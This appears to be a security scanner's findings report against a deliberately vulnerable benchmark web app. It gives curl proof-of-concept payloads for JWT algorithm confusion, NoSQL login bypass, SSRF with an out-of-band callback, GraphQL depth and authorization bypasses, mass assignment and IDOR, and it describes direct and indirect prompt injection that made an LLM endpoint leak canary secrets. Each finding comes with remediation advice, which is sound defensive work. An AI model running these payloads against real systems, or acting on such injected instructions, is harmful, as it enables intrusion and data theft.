• +50 Confirmed (strong signal)
• +20 Direct detection (jwt-alg-confusion-accepted)
• +4 Reproduced by 4 payload(s)
• +5 Stable 2xx response
• +26 Cryptographic baseline-diff: forged accepted, wrong-key control rejected (deterministic)

curl -i 'cortex_capability_bench_v4_1.php?route=jwt'

[JWT alg-confusion] forged(HS256 signed with the server public key) -> 200; control(wrong key/sig) -> 401 forged token: eyJh***REDACTED(215)*** forged response: {     "ok": true,     "sub": "alice",     "role": "admin",     "alg": "HS256",     "benchMarker": "GGSEC4_JWT_ALG_CONFU…

• Configure the verifier with a fixed algorithm allowlist (e.g. only RS256) and reject any token whose alg differs.
• Never feed the RSA/EC PUBLIC key into an HMAC verify path — keep HMAC secrets and asymmetric keys in separate, type-bound key stores.
• Use a library API that takes the expected algorithm as a required argument (not one inferred from the token header).
• Validate standard claims (exp, nbf, iss, aud) and treat role/privilege claims as untrusted until the signature is verified.

• +50 Confirmed (strong signal)
• +20 Direct detection (graphql-depth-dos)
• +6 Expected indicator reflected
• +2 Reproduced by 2 payload(s)
• +5 Stable 2xx response

curl -i -X POST 'http://192.168.0.25/cortex_benchmark_v3/cortex_capability_bench_v4_1.php?route=gql' --data 'GQLDEPTH:{ nested { nested { nested { nested { nested { nested { nested { nested { leaf } } } } } } } } }'

…ted": { "depth": 9, "benchMarker": "GGSEC4_GQL_DEPTH_BOMB" } } }

{     "data": {         "nested": {             "depth": 9,             "benchMarker": "GGSEC4_GQL_DEPTH_BOMB"         }     } }

• Add a maximum query depth and a query-complexity/cost limit (reject over-budget queries before execution).
• Cap or disable aliasing and array/operation batching so one request can't fan out into N expensive resolvers.
• Enforce per-client rate limiting and pagination caps; set resolver timeouts.
• Use persisted queries / an operation allowlist in production.

• +50 Confirmed (strong signal)
• +20 Direct detection (nosql-operator-injection)
• +6 Expected indicator reflected
• +2 Reproduced by 2 payload(s)
• +5 Stable 2xx response

curl -i -X POST 'http://192.168.0.25/cortex_benchmark_v3/cortex_capability_bench_v4_1.php?route=api_login' --data 'JSONBODY:{"username":{"$ne":""},"password":"x"}'

…: "admin", "bypass": "username_ne", "benchMarker": "GGSEC4_NOSQL_LOGIN_BYPASS" }

{     "ok": true,     "user": "admin",     "bypass": "username_ne",     "benchMarker": "GGSEC4_NOSQL_LOGIN_BYPASS" }

• Replace interpolated SQL with bound parameters (PDO/mysqli prepared statements, '?'/named placeholders).
• For NoSQL, cast user input to the expected scalar type and reject array/operator inputs ((string)$x, type checks).
• Apply least-privilege DB credentials; the web user should not own DDL or admin rights.
• Add allowlist validation for structural elements that cannot be parameterized (column/table names, ORDER BY).

• +50 Confirmed (strong signal)
• +28 Out-of-band callback received
• +5 Stable 2xx response

curl -i 'http://192.168.0.25/cortex_benchmark_v3/cortex_capability_bench_v4_1.php?route=webhook&url=http%3A%2F%2F192.168.0.239%3A8888%2F7084b4330173'

OOB HTTP callback received by the GGSec collaborator — the target issued an outbound request to http://192.168.0.239:8888/7084b4330173, proving blind (out-of-band) injection. Callback source: 192.168.0.25:36048 GET http://192.168.0.239:8888/7084b4330173 at 2026-07-19 20:13:13 UTC, ~27 ms after the request — the target server actively connected back to the collaborator (hard, non-repudiable proof). The in-band HTTP response body is not the proof for this finding.

• Allowlist permitted hosts/schemes; deny by default.
• Resolve and block private/link-local/loopback/metadata ranges (169.254.169.254, 127.0.0.0/8, 10/172.16/192.168).
• Disable unneeded URL schemes (file://, gopher://, dict://) and follow-redirect to internal hosts.

• +50 Confirmed (strong signal)
• +20 Direct detection (graphql-field-authz-bypass)
• +5 Stable 2xx response

curl -i -X POST 'http://192.168.0.25/cortex_benchmark_v3/cortex_capability_bench_v4_1.php?route=gql' --data 'graphql-field-authz-bypass'

PoC: `{ adminSecrets { __typename } }` sent with no session cookie to http://192.168.0.25/cortex_benchmark_v3/cortex_capability_bench_v4_1.php?route=gql returned a non-null `adminSecrets` in `data` (no authorization error). Enforce per-field authorization on resolvers.

• Check the caller's permission inside each resolver (and on nested/edge fields), not only at the top-level query.
• Centralize authorization (directives/middleware) so sensitive fields (password, ssn, tokens) require explicit grants.
• Never return secret fields by default; gate them behind owner/role checks.

• +50 Confirmed (strong signal)
• +20 Direct detection (mass-assignment-reflected)
• +3 Reproduced by 3 payload(s)
• +5 Stable 2xx response

curl -i -X POST 'cortex_capability_bench_v4_1.php?route=api_profile' --data '{"is_admin":"GGSECMA5fb2758a"}'

[MASS ASSIGNMENT] An authenticated request set the privileged field 'is_admin' to a unique sentinel via a JSON body, and the server persisted it — the response reflects the field bound to that exact value on a fresh record read. A client can overwrite an attribute it must never c…

• Define a server-side allow-list of client-updatable fields and assign only those (e.g. $fillable / DTO whitelist).
• Never iterate arbitrary request keys onto an UPDATE / model — reject or ignore unknown/privileged fields (role, is_admin, balance, permissions).
• Authorize privileged changes separately (an admin-only endpoint), and validate/cast each value to its expected type.

• +50 Confirmed (strong signal)
• +20 Direct detection (pii-jwt)
• +5 Stable 2xx response

curl -i 'cortex_capability_bench_v4_1.php?route=jwt'

Exposed JWT token in a response body — 1 occurrence(s). Masked sample: eyJhbGciOiJIUzI1…. First seen: cortex_capability_bench_v4_1.php?route=jwt. Personal data / secrets should not be returned to unauthorised contexts (GDPR/RODO Art. 32).

• Remove secrets (keys/tokens/private keys) from responses entirely; rotate any that leaked.
• Return only the fields the client needs (data minimisation); mask IDs/cards (e.g. last 4) server-side.
• Gate personal data behind authorization and send Cache-Control: no-store on those responses.
• Map this to GDPR/RODO Art. 5 (minimisation) & Art. 32 (security of processing); log/justify any PII egress.

• +50 Confirmed (strong signal)
• +20 Direct detection (indicator)
• +6 Expected indicator reflected
• +5 Stable 2xx response

curl -i 'cortex_capability_bench_v4_1.php?route=api_export&limit=100000'

{ "count": 100000, "returned": 5001, "rows": [ {…

{     "count": 100000,     "returned": 5001,     "rows": [         {             "i": 0,             "u": "admin"         },         {             "i": 1,             "u": "admin"         },         {             "i": 2,             "u": "admin"         },         {             "…

• Apply input validation (allowlist) and context-aware output encoding for this sink.

• +50 Confirmed (strong signal)
• +20 Direct detection (llm-system-secret-disclosure)
• +5 Stable 2xx response

curl -i -X POST 'http://192.168.0.25/cortex_benchmark_v3/cortex_capability_bench_v4_1.php?route=chat' --data 'llm-system-secret-disclosure'

PoC: injected an instruction-override prompt; the model disclosed a confidential system token ('GGSEC4_LLM_CANARY_SECRET') that was neither in the request nor the benign baseline. Evidence: {     "system_present": true,     "reply": {         "role": "assistant",         "content…

• Apply input validation (allowlist) and context-aware output encoding for this sink.

• +50 Confirmed (strong signal)
• +20 Direct detection (llm-indirect-injection)
• +5 Stable 2xx response

curl -i -X POST 'http://192.168.0.25/cortex_benchmark_v3/cortex_capability_bench_v4_1.php?route=chat_indirect' --data 'llm-indirect-injection'

PoC: stored a note containing an instruction-override payload, then triggered the summary; the stored note caused the model to disclose a confidential token ('GGSEC4_LLM_INDIRECT_INJECT') on a later summary request. Evidence: {     "note_used": true,     "reply": {         "role"…

• Apply input validation (allowlist) and context-aware output encoding for this sink.

• +50 Confirmed (strong signal)
• +20 Direct detection (llm-system-secret-disclosure)
• +5 Stable 2xx response

curl -i 'http://192.168.0.25/cortex_benchmark_v3/cortex_capability_bench_v4_1.php?route=chat'

PoC: injected an instruction-override prompt; the model disclosed a confidential system token ('GGSEC4_LLM_CANARY_SECRET') that was neither in the request nor the benign baseline. Evidence: {     "system_present": true,     "reply": {         "role": "assistant",         "content…

• Apply input validation (allowlist) and context-aware output encoding for this sink.

• +50 Confirmed (strong signal)
• +20 Direct detection (graphql-depth-dos)
• +5 Stable 2xx response

curl -i -X POST 'http://192.168.0.25/cortex_benchmark_v3/cortex_capability_bench_v4_1.php?route=gql' --data 'graphql-depth-dos'

PoC: nested query over a self/2-cycle type relation was executed and returned `data` (no depth/complexity rejection). Enforce a maximum query depth and complexity budget.

• Add a maximum query depth and a query-complexity/cost limit (reject over-budget queries before execution).
• Cap or disable aliasing and array/operation batching so one request can't fan out into N expensive resolvers.
• Enforce per-client rate limiting and pagination caps; set resolver timeouts.
• Use persisted queries / an operation allowlist in production.

• +50 Confirmed (strong signal)
• +20 Direct detection (idor-vertical)
• +6 Expected indicator reflected
• +5 Stable 2xx response
• +18 Baseline-diff (matched control rejected)

curl -i 'cortex_capability_bench_v4_1.php?route=admin_stats'

…"userCount": 3, "revenue": 424242, "benchMarker": "GGSEC4_BFLA_ADMIN_STATS", "note": "BFLA: no admin role check" }

[IDOR idor-vertical param=route] privileged id=admin_stats: 200(privileged data!); control id=safe_admin: 403(rej) privileged record: {     "viewer": "alice",     "viewerRole": "ggsec_idor_97251f02",     "userCount": 3,     "revenue": 424242,     "benchMarker": "GGSEC4_BFLA_ADMIN…

• On every object access, check ownership/permission server-side: the session identity must be authorized for the requested id, never the id alone.
• Scope queries to the authenticated user (WHERE owner_id = :sessionUser) instead of trusting a client-supplied id.
• Prefer unpredictable, non-sequential identifiers (UUIDs) so ids cannot be trivially enumerated — defense in depth, not a substitute for authz.
• Add access-control tests and centralize authorization in middleware/policies rather than ad-hoc per-endpoint checks.